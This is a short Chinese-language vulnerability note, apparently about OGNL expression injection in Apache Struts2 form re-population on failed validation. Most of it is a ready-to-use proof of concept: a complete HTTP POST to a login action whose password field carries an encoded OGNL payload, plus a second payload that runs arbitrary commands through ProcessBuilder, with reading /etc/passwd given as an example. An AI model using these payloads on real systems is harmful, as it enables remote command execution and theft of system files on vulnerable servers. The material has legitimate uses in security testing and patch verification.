该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行
## POC && EXP
POST /login.action;jsessionid=E22A52FF56D1BDAE1E25D5F2BE7ADA3E HTTP/1.1
Host: 192.168.188.139:8080
Content-Length: 347
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.188.139:8080
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.188.139:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E22A52FF56D1BDAE1E25D5F2BE7ADA3E
Connection: close
username=administrator&password=%2525%257b%2523req%253d%2540org.apache.struts2.ServletActionContext%2540getRequest()%252c%2523response%253d%2523context.get(%2522com.opensymphony.xwork2.dispatcher.HttpServletResponse%2522).getWriter()%252c%2523response.println(%2523req.getRealPath('%252f'))%252c%2523response.flush()%252c%2523response.close()%257d
执行任意命令(命令加参数:`new java.lang.String[]{"cat","/etc/passwd"}`):
```
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
```